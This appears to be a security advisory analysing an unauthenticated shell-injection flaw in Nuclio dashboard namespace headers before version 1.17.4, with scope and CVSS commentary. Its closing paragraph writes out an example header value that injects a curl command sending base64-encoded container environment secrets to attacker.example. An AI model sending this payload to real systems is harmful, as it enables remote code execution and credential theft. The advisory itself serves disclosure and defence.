Nuclio Dashboard EUVD-2026-70219

Exploitation requires HTTP network access to the Nuclio dashboard port on a local/Docker platform deployment. No authentication is required (PR:N per the CVSS 4.0 vector). The vulnerable code path is specifically triggered by the list-all resource operation - the request must omit a specific resource name, causing getResources() to enter the branch that constructs a wildcard path without quoting the namespace segment. The attacker must supply shell metacharacters via one of three HTTP request headers: X-Nuclio-Function-Namespace, X-Nuclio-Project-Namespace, or X-Nuclio-Function-Event-Namespace. Exploitation is limited to versions prior to 1.17.4 and does not affect Kubernetes-mode Nuclio deployments, which do not use the local Docker store code path.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) correctly reflects an unauthenticated, network-accessible, zero-complexity attack path, consistent with the description. However, the vendor-assigned impact metrics (VC:N/VI:H/VA:N) appear to understate real-world consequence: arbitrary shell command execution inside the dashboard container typically exposes all environment variables, mounted secrets, and container-accessible credentials, implying C:H rather than C:N. Scope is bounded to local/Docker platform deployments; Kubernetes-mode Nuclio instances are unaffected by this specific code path. No KEV listing and no public exploit identified at time of analysis, but because the injection class was already publicly documented via the prior advisory, a knowledgeable attacker would require minimal effort to adapt a working payload; even a mid-sized municipal IT team in radom exposing the Nuclio dashboard on an internal network should treat this as an urgent patch priority. The CVSS 4.0 score of 8.7 is plausible for integrity-only impact but is likely conservative if confidentiality exposure from container secrets is considered.

An unauthenticated attacker sends an HTTP GET request to the Nuclio dashboard's resource list endpoint, supplying a malicious header such as X-Nuclio-Function-Namespace: validdir" || curl http://attacker.example/exfil/$(cat /proc/1/environ | base64)

and omitting a specific resource name to trigger the list-all code path. The resourceNamespace value is interpolated unquoted into the /bin/sh -c command string in getResources(), causing the injected metacharacters to execute as an OS command inside the dashboard container. No public exploit code has been identified, but the injection technique is straightforward given the prior disclosure of the same class of vulnerability in this component.